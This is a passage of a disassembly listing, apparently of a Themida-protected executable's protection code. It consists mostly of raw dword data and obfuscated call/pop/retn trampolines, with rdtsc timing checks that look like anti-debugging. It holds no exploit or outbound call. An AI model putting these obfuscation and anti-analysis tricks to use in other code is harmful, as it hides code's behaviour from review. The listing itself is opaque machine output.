85850FDBh, 89000000h dd 1408D585h, 0F88B6606h, 85BBD83h, 0F000618h, 3684h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 93F4A973h, 0BFE94597h, 0B58B079Bh, 6140239h, 4FE9h dd 45BD8B00h, 0C706142Ch, 18085B85h, 106h, 0E9F28B00h dd 38h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h dd 6C35242h, 0DF816609h, 0B52920B9h, 61412FDh, 85B85C7h dd 618h, 8B0F0000h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+61410C5h] push 0 push edx call sub_5BE689 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE689 proc near ; CODE XREF: Themida_:005BE681p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5BE689 endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- cmp al, 0Ch sub si, 8E66h and dword ptr [ebx], 0FFFFFEFFh mov edi, [ebp+6140F91h] mov bx, ds push 0 push edx call sub_5BE6BB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE6BB proc near ; CODE XREF: Themida_:005BE6B3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5BE6BB endp ; --------------------------------------------------------------------------- push ecx jge loc_5BE6D7 mov esi, 569CED3Ch loc_5BE6D7: ; CODE XREF: Themida_:005BE6CCj mov esi, 58EAF691h test bl, 4 jz loc_5BE75A push 0 push ebp call sub_5BE6F0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE6F0 proc near ; CODE XREF: Themida_:005BE6E8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5BE6F0 endp ; --------------------------------------------------------------------------- dd 0F44F30E1h, 8166B7A9h, 0FFE19BCFh, 14121195h, 1EB3BE06h dd 0F18B7F15h, 14E95050h, 53000000h, 0EC904B9Bh, 0D0D9A21Fh dd 0F18DDB95h, 6B867782h, 5E214889h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 231AC355h, 7CD8D29h ; --------------------------------------------------------------------------- adc al, 6 loc_5BE75A: ; CODE XREF: Themida_:005BE6DFj jmp loc_5BEB94 ; --------------------------------------------------------------------------- push 0 push esi call sub_5BE76A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE76A proc near ; CODE XREF: Themida_:005BE762p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5BE76A endp ; --------------------------------------------------------------------------- dw 74E7h ; --------------------------------------------------------------------------- jbe short loc_5BE7BF mov si, 360Fh mov al, 0 push 0 push edx call sub_5BE78F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE78F proc near ; CODE XREF: Themida_:005BE787p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5BE78F endp ; --------------------------------------------------------------------------- db 6Fh dd 0EBB7A50Fh, 0DCC0BF66h, 9D8970E6h, 61403D1h, 6A71E4h dd 3E852h, 5A200000h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 5Ah, 89h ; --------------------------------------------------------------------------- loc_5BE7BF: ; CODE XREF: Themida_:005BE77Cj push esp and al, 4 add dword ptr [esp+4], 16h inc edx push edx retn ; --------------------------------------------------------------------------- dec ecx mov esp, 5DBD8BF5h db 2Eh adc al, 6 movzx ebx, al push 0 push ebp call sub_5BE7E4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE7E4 proc near ; CODE XREF: Themida_:005BE7DCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5BE7E4 endp ; --------------------------------------------------------------------------- dd 95858929h, 0BA06141Bh, 6, 1235BD8Bh, 0BD8B0614h, 6140D9Dh dd 0F78BC38Bh, 6F1BD29h, 0E8C10614h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 466F976Dh dd 19556F4h, 0F98B37F5h, 6AE2F766h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C167C355h dd 0E643689h, 0C6DAB8F9h, 6AD82Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 32062AC3h, 8B506F85h dd 241C89F8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0A6C35343h, 4A36F75Bh, 815F57FCh, 4E004DD6h, 5B5FF2Dh dd 6A06142Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 459DC357h, 0B36D11A7h, 0BD8B29EAh dd 61419B5h, 297195FFh, 95890614h, 6141CC1h, 70E600B0h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 91C35747h dd 0E44EE637h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0ED54F972h, 783B6D29h dd 239BD89h, 0BE660614h, 613CE47Fh, 246830Fh, 0BF660000h dd 0B60FC0E2h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 77BAD763h, 0B2D9A4AEh dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0C38BADDEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 92C35343h, 0B7D7363Ah, 0B04E8C1h dd 14130DB5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 3CC35242h, 25F8893Bh, 0F860EA98h, 16499D89h dd 2B610614h, 2820FD8h, 8B000000h, 8D2958F2h, 61423B9h dd 880FD82Bh, 188h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 57C35141h, 6A39CA8Fh, 85294E58h, 61430C5h dd 0BE8h, 945C1F00h, 49912999h, 8E97B60Dh, 0F69527BFh dd 7B95F09h, 0E9000000h, 14h, 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h dd 7E32E9CEh, 0BABE2B04h, 0F00C183h, 68Ah, 65BD8900h, 89061403h dd 141FDD8Dh, 0FD93B06h, 10F86h, 11E900h, 77660000h, 7999A8Ah dd 0DD1AAF73h, 6C8A19D9h, 0F239DAFh, 0C8Ch, 6810F00h, 23000000h dd 143449BDh, 0D98C6606h, 4E5BD8Bh, 0C1F60614h, 0A8840F04h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 487CC352h, 6A71C75Ah, 91B58B40h dd 0FF061419h, 14121195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 5B555B6Ch dd 18E0Fh, 2BF80000h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0C1F56377h, 343DF18Bh dd 0F000008h, 2686h, 8810F00h, 60000000h, 4002D781h, 66617BEAh dd 3DE9F18Bh, 60000000h, 1CB19D31h, 0D58A0614h, 35B58B61h dd 8B061420h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 749F17F4h, 85454BAEh, 8589FB8Bh dd 61430F9h ; --------------------------------------------------------------------------- loc_5BEB94: ; CODE XREF: Themida_:loc_5BE75Aj mov eax, ebx mov ebx, eax mov esi, ebx mov dword ptr [ebp+6140C71h], 3B2D8B9Fh push 0 push eax call sub_5BEBAF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEBAF proc near ; CODE XREF: Themida_:005BEBA7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5BEBAF endp ; --------------------------------------------------------------------------- db 52h dd 0B866609Ah, 0E981428Bh, 75E85FD9h, 0F8C08B61h, 2C05BD81h dd 7D00614h, 850F0000h, 2Dh, 1E5BD8Bh, 85FF0614h, 6142C05h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7FC35646h dd 0D4BF6656h, 5B5FF38h, 6A06142Ch, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7741C351h dd 482E607Fh, 0FFA67D2Ch, 14297195h, 2DEE8106h, 905AC3F9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9FC35242h dd 56BF12EDh, 6074581Ah, 1D8A0Fh, 12E90000h, 9E000000h dd 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h, 5FDF818Fh dd 665B6525h, 0F60FB8Bh, 8Dh, 8C0F00h, 8B000000h, 1404E1B5h dd 9D896106h, 6142B85h, 31958961h, 8B061413h, 141121BDh dd 0F2BF0F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 5CC35343h, 0CE84A5Fh, 1C000000h, 60CE67A4h, 0A5E7BA67h dd 8B821D5Fh, 140491BDh, 0B5895F06h, 6141E2Dh, 699B589h dd 85890614h, 6140E21h, 1131B58Bh, 8B660614h, 12E8F8h dd 0B02C0000h, 0EC9401D2h, 4CC4CEE3h, 84C9A72Dh, 51ACDBAEh dd 56006A5Fh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0CC0E816Ah, 8B2A6B89h, 0F7FEE9FBh, 5660FFFFh dd 4BE533BBh, 0FEB95A26h, 21FFFFFFh, 141C698Dh, 0F2816606h dd 0E860E718h, 0Bh, 0FA897D61h, 25613E81h, 60B28027h, 8D8B5A61h dd 61402E5h, 0AD8D2161h, 6A061420h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F38FC355h dd 2ABE66E5h, 8BDE8BD9h, 141C698Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 83C62F66h dd 850F01E1h, 3, 8BD2BF0Fh, 1420AD8Dh, 53006A06h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 1E889823h, 0FE866BFh, 0E6000000h, 0DFF242CBh, 0B47B31DEh dd 2B305DD2h, 0F380211Ah, 0E1835E26h, 12850F01h, 0E9000000h dd 0Dh, 153C8254h, 6B64D95Eh, 4BE1CA47h, 0B9606116h, 0FFFFFFFEh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C3C35646h dd 14893FC5h, 0B8666B5Ah, 8D212869h, 6140C5Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DEC35343h, 8B604F56h dd 141A8D8Dh, 0CB8B6606h, 0D98D2161h, 6A061417h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 9FD4C355h, 8529CB2Bh, 6142019h, 0C5D8D8Bh, 6A0614h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0D584EEC3h, 858B1080h, 6141B8Dh, 89D78B66h, 1433A9BDh dd 1E18306h, 6850Fh, 0B58B0000h, 6141EF1h, 17D98D8Bh, 0BD890614h dd 6140BB9h, 0F01E183h, 85h, 0B8606100h, 7076FD9Ch, 1DFD8501h dd 0FEB90614h, 66FFFFFFh, 21E38EBEh, 1431258Dh, 5BE38106h dd 210CE06Dh, 1410C58Dh, 13E806h, 8E070000h, 0D52F4BE8h dd 0E2CA339h, 936BA091h, 647E7BCh, 0DF8B6675h, 258D8B5Bh dd 6A061431h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0C10FC355h, 452290E1h, 0AE9h dd 9B592100h, 69DFF329h, 0E914F187h, 8, 6E8B7196h, 76E494D9h dd 0F01E183h, 2E85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 7E3C7D92h, 0E41B04EEh dd 5850Fh, 0F6BF0000h, 8B1FF676h, 1410C58Dh, 0E183FC06h dd 6850F01h, 8B000000h, 141F49BDh, 8B606106h, 14259D9Dh dd 0FFFEB906h, 21F5FFFFh, 142AA58Dh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B589119Ch dd 61409E1h, 0C718D21h, 95890614h, 61403DDh, 2AA58D8Bh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 89A73C3h, 0BD8919E1h, 61412A1h, 0F01E183h dd 2685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 54944956h, 5B48531Eh, 8BE38AC1h dd 140C718Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 47B11364h, 26018D31h, 0E1830614h dd 3850F01h, 80000000h, 606110F4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 2C35747h, 0A78F6AD6h, 50D1B7DBh dd 1C41B58Bh, 8B0F0614h, 6, 2B09B523h, 85C70614h, 6142C05h dd 7D0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 69C35646h, 9C934B8Ch, 72452653h, 12E99D8Bh, 0E58A0614h dd 50006A61h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0FA25E2E2h, 25E81835h, 7EB7208h, 0E99D61h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 27A5C351h, 25598D0Bh, 9D010614h dd 6141575h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 13C35747h, 63BF4144h, 89A46A3Dh, 1416698Dh, 0EBC18B06h dd 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch dd 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh dd 0A6DB67h, 43F853h, 0DC80BA9Fh, 0 dd 0FEB51B54h, 0FE330000h, 0FBh, 52DDB487h, 9ED92023h dd 7C809E01h, 1297E9h, 6E800h, 0D49E0000h, 1C0D7F7Ah, 2365B529h dd 835A0614h, 1401CDBDh, 850F0006h, 46h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 17h, 62C35545h, 0F04F663h dd 0B8C8BFh, 50000000h, 8E8h, 330CFB00h, 9B592125h, 0C19D2929h dd 5F06141Bh, 4C25Ah, 24C59D89h, 0C08B0614h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 21EB2073h dd 8315C280h, 1410F1BDh, 9750006h, 0E25BD83h, 74000614h dd 8B535013h, 4D0B8C0h, 9D8D0000h, 616A526h, 585BD3FFh dd 0E25BD83h, 74000614h, 0B8535011h, 4D0h, 0A4739D8Dh dd 0D3FF0616h, 6660585Bh, 8166F38Bh, 61557FF7h, 1D5BD8Bh dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 81DA95C3h, 0FF5256C7h, 89C08B36h, 1419AD8Dh dd 54858D06h, 31061816h, 141005BDh, 66509006h, 9064F2BAh dd 0EE96051h, 0D7000000h, 68F8D660h, 92ADE732h, 0F20BD415h dd 6161602Eh, 11858D5Ah, 66061816h, 0D044DF81h, 52505050h dd 310F5957h, 585A5F53h, 2404895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 72C35040h, 76DD795Ch, 2C08FF38h dd 0DD95FFF9h, 53061430h, 3A97F281h, 8B594BAAh, 60042444h dd 0C0B3E981h, 870F1FB5h, 0 ; --------------------------------------------------------------------------- popa mov [ebp+618163Ch], eax push 0 push ebp call sub_5BF3A2 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF3A2 proc near ; CODE XREF: Themida_:005BF39Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5BF3A2 endp ; --------------------------------------------------------------------------- dw 0EA0Dh dd 0BF66E123h, 448BC593h, 840F0824h, 0Ch, 68A0Fh, 958B0000h dd 6140D1Dh, 85895EB6h, 6181650h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 2FC35141h, 0BD8341DEh, 614010Dh dd 0D3850F00h, 8B000000h, 14206995h, 4985C606h, 47061408h dd 1DBD9523h, 4E80614h, 0D2000000h, 60D49AA7h, 0AE8h, 0F97D9100h dd 177E178Dh, 58591679h, 0B8665250h, 310F17F4h, 9E8h, 0CC6D6000h dd 0A0B94136h, 5A5991C3h, 8B506158h, 24448BFEh, 8BD78A04h dd 0BA565100h, 2B878860h, 44895F5Fh, 0D68B0424h, 6E858h dd 0B9F90000h, 554254A8h, 88E18166h, 0B5FF5F99h, 6142C65h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8CC35747h dd 8B10BDAFh, 140755BDh, 0E2816606h, 858D9D1Bh, 61778FEh dd 9878CF81h, 33604940h, 141AB585h, 8C0F06h, 61000000h dd 0BD8BD0FFh, 61404F5h, 10D8589h, 9D890614h, 614052Dh dd 0BD830EB2h, 6140BCDh, 9F850F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 8BCC351h, 5A1F5463h, 0F5560184h, 1C28166h, 4985C6A7h dd 47061408h, 11199589h, 0E680614h, 66CA6F85h, 81FC39B9h dd 30EC2434h, 8B604060h, 140AA9B5h, 0B5FF6106h, 6142C65h dd 0AE9h, 0AFB65500h, 38BEB907h, 8D3AEDF7h, 1778FE85h dd 0D9816606h, 0D0FF8B42h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 60C35343h, 0EBB2EEC4h, 0C62BA4Bh, 85893900h dd 6140BCDh, 0BD83FB8Bh, 6140C21h, 0A4850F00h, 60000000h dd 0B18D8BF8h, 61061415h, 84985C6h, 89560614h, 142B718Dh dd 10406806h, 0CF8B85BFh, 79243481h, 8B51A07Dh, 1408A98Dh dd 65B5FF06h, 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 752EC353h, 7A31ADDh dd 0FDA90AEDh, 9D0BF860h, 61400C1h, 0FE858D61h, 0FF061778h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 290673D0h, 0EA0FAE70h, 0BD8B17ADh, 6141091h dd 0C218589h, 0ED800614h, 5E968h, 0B9510000h, 0C6022A90h dd 14084985h, 4E86C06h, 83000000h, 50DB0570h, 6180B560h dd 424448Bh, 8BFB8B66h, 0E8576000h, 7, 0A0A54D0h, 59D1C360h dd 5B51525Eh, 4489615Ah, 52500424h, 0FE9h, 0BF03B400h dd 0C11A4B35h, 0FD2015C6h, 0AE8FFB44h, 0D48A310Fh, 6A58585Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 5992C350h, 0F31C3436h, 0EA7025E0h, 0B7FEC0BAh dd 2830F50h, 8B000000h, 2DB5FFCEh, 3306140Ch, 140371BDh dd 4E858D06h, 8B06143Bh, 1416BD8Dh, 6AD0FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0F5A3C356h, 0B1EA5501h, 4085893Dh, 0E9061816h, 0Eh dd 939D1F4Dh, 6856116Eh, 0BBD1F010h, 0BD8304BDh, 618165Ch dd 850F00h, 89000001h, 14008DBDh, 61852906h, 0C606141Bh dd 14084985h, 81FC4906h, 0FFBB9AD7h, 4E871h, 29E90000h dd 0E8538C15h, 14h, 0CA262E56h, 0A72E599Ah, 8CA7C70h, 8F597D31h dd 48635C1Ch, 5A59F88Bh, 12E85350h, 2A000000h, 4B8516FDh dd 546A8DCAh, 87F8CB84h, 0EBD625D6h, 0AE84Fh, 663C0000h dd 0E55A3607h, 9500E97Ch, 8B5A5959h, 60042444h, 5BD08B53h dd 61F78B66h, 8E9008Bh, 40000000h, 215B6897h, 8904C7B7h dd 0B9042444h, 1762DFFCh, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C31DA68Dh dd 53F8B7BCh, 719531E2h, 0FF061400h, 140C2DB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8DA6BA44h, 143B4E85h, 8D0F06h, 0FF000000h, 0F9958BD0h dd 89061430h, 18165C85h, 0C19D0906h, 6A061434h, 418D8B04h dd 6806141Ch, 0B410488h, 3481D18Bh, 41148824h, 56006A0Bh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 9722FA60h, 0E9608C5Ah, 5, 1B4057C7h, 5BD0970h, 61061417h dd 0C46A6D68h, 12E8B9h, 8D9B0000h, 0A2F94831h, 2DA14FA3h dd 0A163C3EAh, 2FC22879h, 24048159h, 463C9593h, 38F0Fh dd 8B660000h, 0F006AD3h, 95FFC8B7h, 6142B15h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D2C35242h, 0EE960h dd 80D70000h, 0BA68B082h, 7F7B282h, 35504231h, 38D0Fh dd 0F2800000h, 8589617Ah, 618164Ch, 711958Bh, 85C70614h dd 6181644h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5BF8F7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF8F7 proc near ; CODE XREF: Themida_:005BF8EFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5BF8F7 endp ; --------------------------------------------------------------------------- lds edx, [esi+esi*4] dec eax les ecx, [ebx+1419D595h] push es push 0 push 0 push edi call sub_5BF91F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF91F proc near ; CODE XREF: Themida_:005BF917p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BF91F endp ; --------------------------------------------------------------------------- push 0FFFFFF99h aaa mov edi, 16A8B9EFh push 0A867AF91h mov dh, 4Eh add dword ptr [esp], 5799506Fh jmp loc_5BF950 ; --------------------------------------------------------------------------- dw 22E7h dd 0BBF92342h ; --------------------------------------------------------------------------- loc_5BF950: ; CODE XREF: Themida_:005BF945j push eax mov edx, 1D2F8C46h mov [esp], eax mov cl, 76h push 0Bh push 0 push eax call sub_5BF968 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF968 proc near ; CODE XREF: Themida_:005BF960p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5BF968 endp ; --------------------------------------------------------------------------- imul ecx, [edi], -74h add eax, 66000000h sub ecx, 0BD8BE642h mov ch, 15h adc al, 6 lea eax, [ebp+6181619h] mov [ebp+614045Dh], eax nop jmp loc_5BF9AB ; --------------------------------------------------------------------------- dd 7DA318C6h, 0B6D26F43h, 8849124Eh db 99h, 85h, 44h ; --------------------------------------------------------------------------- loc_5BF9AB: ; CODE XREF: Themida_:005BF997j push eax pusha push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc jmp loc_5BF9C3 ; --------------------------------------------------------------------------- dd 0FE84194Bh ; --------------------------------------------------------------------------- xor al, 0C4h inc edx loc_5BF9C3: ; CODE XREF: Themida_:005BF9B7j pop edx pop eax mov ax, 0E45h popa nop mov [ebp+61410ADh], eax call dword ptr [ebp+614010Dh] push 0 push esi call sub_5BF9E2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF9E2 proc near ; CODE XREF: Themida_:005BF9DAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5BF9E2 endp ; --------------------------------------------------------------------------- align 4 imul ecx, [edi+ecx-49h], -38h lea esi, [ebp+6181623h] mov edx, 16A545EBh xchg eax, esi push eax pusha jmp loc_5BFA18 ; --------------------------------------------------------------------------- dd 0AA80EF2Ah, 0C05B5961h, 3497ACC1h ; --------------------------------------------------------------------------- loc_5BFA18: ; CODE XREF: Themida_:005BFA07j jbe loc_5BFA23 mov ebx, 166BB907h loc_5BFA23: ; CODE XREF: Themida_:loc_5BFA18j popa xchg eax, esi push 0 push eax call sub_5BFA30 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA30 proc near ; CODE XREF: Themida_:005BFA28p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5BFA30 endp ; --------------------------------------------------------------------------- mov edx, 25857086h sub dword ptr [edi-6Eh], 2Fh sbb di, 0AFB3h push eax mov ecx, 61FB364Dh mov [esp], eax push 0 push esi call sub_5BFA62 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA62 proc near ; CODE XREF: Themida_:005BFA5Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5BFA62 endp ; --------------------------------------------------------------------------- pop esi lahf xor eax, 562DBFABh mov cx, si pop edx sub edi, [ebp+6140FB9h] call dword ptr [ebp+6140BCDh] push 0 push eax call sub_5BFA94 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFA94 proc near ; CODE XREF: Themida_:005BFA8Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5BFA94 endp ; --------------------------------------------------------------------------- mov dh, 66h jmp loc_5E7EBA ; --------------------------------------------------------------------------- align 4 dd 0E891B200h, 0Fh, 2607D6E9h, 0A965AC1h, 9820CA24h, 5F6F7E1Fh dd 850FC00Bh, 11h, 870FF9h, 0E9000000h, 7C7h, 7D51D1BFh dd 6AD0FF7Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0C80BC356h, 10D709D2h, 4CB58B29h dd 0B9061816h, 6EB0E4BDh, 8B20468Dh, 1406A195h, 6A046A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 6678C356h, 0E950D68Bh, 8, 2D3E9505h, 88256831h dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 41BEC353h, 21B589F1h, 0FF061411h dd 18165C95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0D94B22E6h, 0B589074Fh, 6141CF1h dd 840FC00Bh, 3Ah, 12459509h, 0BA660614h, 0F0E9878Bh, 6A000006h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0DEB2C352h, 6F19A4EEh, 0FD89E6C8h, 0ACFFD181h dd 7E805C4Ah, 840F0020h, 6BBh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0BFC35141h, 0FF58D89h, 6A600614h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 2F8EC355h, 0B985895Eh, 8D06140Ah, 6A2046h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 6C22E1C3h, 8844EC07h, 8BFBE60Ah, 14029595h, 0B5BD8906h dd 8906140Ch, 18164885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 1607866Bh, 122E9h, 22B96600h dd 66604013h, 0EF89C081h, 13E9h, 0EF781500h, 9F05DD2Eh dd 92163012h, 0C2979A10h, 0DFA00514h, 0BE85061h, 0ED000000h dd 8777D9E3h, 8D6F07Fh, 810FC9CDh, 0 ; --------------------------------------------------------------------------- pop edx mov [esp], eax push 0 push ebx call sub_5BFCD3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFCD3 proc near ; CODE XREF: Themida_:005BFCCBp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BFCD3 endp ; --------------------------------------------------------------------------- imul esi, [edx-6AD6B9DAh], -6Fh and edx, [esi+eax] jnz loc_5BFCF6 mov di, bx loc_5BFCF6: ; CODE XREF: Themida_:005BFCEDj push 4 adc ecx, 609941Dh push eax mov edi, edx mov [esp], eax mov di, 4076h jmp loc_5BFD13 ; --------------------------------------------------------------------------- db 0BBh, 5Dh, 0FFh db 87h, 0B7h, 0DDh ; --------------------------------------------------------------------------- loc_5BFD13: ; CODE XREF: Themida_:005BFD08j call dword ptr [ebp+618165Ch] push 0 push ebx call sub_5BFD24 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFD24 proc near ; CODE XREF: Themida_:005BFD1Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BFD24 endp ; --------------------------------------------------------------------------- js short loc_5BFD96 jge $+6 or esi, [ebp+61416F5h] popa sub cl, 0BEh mov ebx, eax pusha stc popa pop eax pusha mov dx, bx movsx ebx, bx popa or ebx, ebx jz loc_5BFDAB push 0 push edx call sub_5BFD67 and [edx-3Dh], bl ; =============== S U B R O U T I N E 